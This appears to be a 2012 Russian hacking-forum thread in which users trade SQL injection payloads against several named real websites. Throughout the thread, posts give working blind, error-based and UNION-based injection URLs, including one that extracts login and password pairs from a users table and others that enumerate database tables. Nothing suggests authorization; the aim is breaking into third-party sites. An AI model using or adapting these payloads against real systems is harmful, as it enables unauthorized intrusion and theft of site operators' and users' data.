23.03.2012, 19:02
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922
Репутация:
75
|
|
помогите разкрутить, чёт невыходит
http://www.fanfics.ru/read.php?id=3&chapter=-616%27
|
|
|
23.03.2012, 20:16
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от qaz
помогите разкрутить, чёт невыходит
http://www.fanfics.ru/read.php?id=3&chapter=-616%27
Как один из вариантов (Blind):
http://www.fanfics.ru/read.php?id=45564&chapter=0'and(substring(version( ),1,1)=5)and'1 - TRUE
http://www.fanfics.ru/read.php?id=45564&chapter=0'and(substring(version( ),1,1)=4)and'1 - FALSE
Ну и ErrorBased можно:
http://www.fanfics.ru/read.php?id=45564&chapter=0'and(extractvalue(1,con cat(0x3a,version())))and'
Справа видим:
Сообщение от None
SotMarketERROR: 1105 - XPATH syntax error: ':
5.1.45'
|
|
|
|
23.03.2012, 21:18
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922
Репутация:
75
|
|
Сообщение от None
http://www.zoo-friend.ru/?m=292&action=show_item&id=-3020%27+or+1+group+by+%28select+1+from%28select+co unt%28*%29,concat%28%28select+concat_ws%280x3a,log in,password%29+from+users+limit+0,1%29,0x00,floor% 28rand%280%29*2%29%29x+from+information_schema.tab les+group+by+x%29a%29+or+1--+
выводит Subquery returns more than 1 row
как сделать чтобы вывело данные?
|
|
|
|
23.03.2012, 23:10
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме:
5386281
Репутация:
1177
|
|
Сообщение от qaz
выводит Subquery returns more than 1 row
как сделать чтобы вывело данные?
А зачем?
Там можно без ErrorBased обойтись.
http://www.zoo-friend.ru/?m=292&action=show_item&id=3020'+and+user()=databa se()+union+select+1,2,3,4,5,6,7,version(),9,10,11, 12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%20a
|
|
|
|
24.03.2012, 17:42
|
|
Познающий
Регистрация: 12.03.2012
Сообщений: 40
Провел на форуме:
13805
Репутация:
0
|
|
Покажите пожалуйста сайт для примера на котором есть слепая sql-inj и выведите информпцию к примеру version.Это мне для треннировки надо,чтоб я понял.
|
|
|
|
24.03.2012, 20:30
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922
Репутация:
75
|
|
народ, подскажите, тут можно както чёнибуть вывести?
http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+
|
|
|
|
24.03.2012, 20:35
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
Провел на форуме:
371875
Репутация:
137
|
|
Сообщение от qaz
народ, подскажите, тут можно както чёнибуть вывести?
http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+
Можешь использовать как блинд.
|
|
|
|
24.03.2012, 21:18
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
Провел на форуме:
102354
Репутация:
267
|
|
Сообщение от qaz
народ, подскажите, тут можно както чёнибуть вывести?
http://venec.ulstu.ru/lib/go.php?id=2151+union+select+1,2,3,4,5,6,7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22--+
http://venec.ulstu.ru/lib/go.php?id=2151-9999999.9+union+select+1,2,3,4,5,6,7,8,9,12313212, 11,12,13,14,15,16,17,18,19,20,21,22--+
Только не вывел ничего(
|
|
|
|
24.03.2012, 21:27
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
Провел на форуме:
344922
Репутация:
75
|
|
блин,
а тут http://www.jewish.donetsk.ua/stat.php?topic=news&page=74&id=1404+limit+0,0+unio n+select+1,2,3,4,table_name,6,7,8,9,10,11+from+inf ormation_schema.tables--+
чего таблици не выводит?
|
|
|
|
24.03.2012, 21:30
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
Провел на форуме:
102354
Репутация:
267
|
|
http://www.jewish.donetsk.ua/stat.php?topic=news&page=74&id=1404-9999.9+union+select+1,2,3,4,table_name,6,7,8,9,10, 11+from+information_schema.tables+limit+0,1--+d
Конечно, limit 0,0 сделал.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
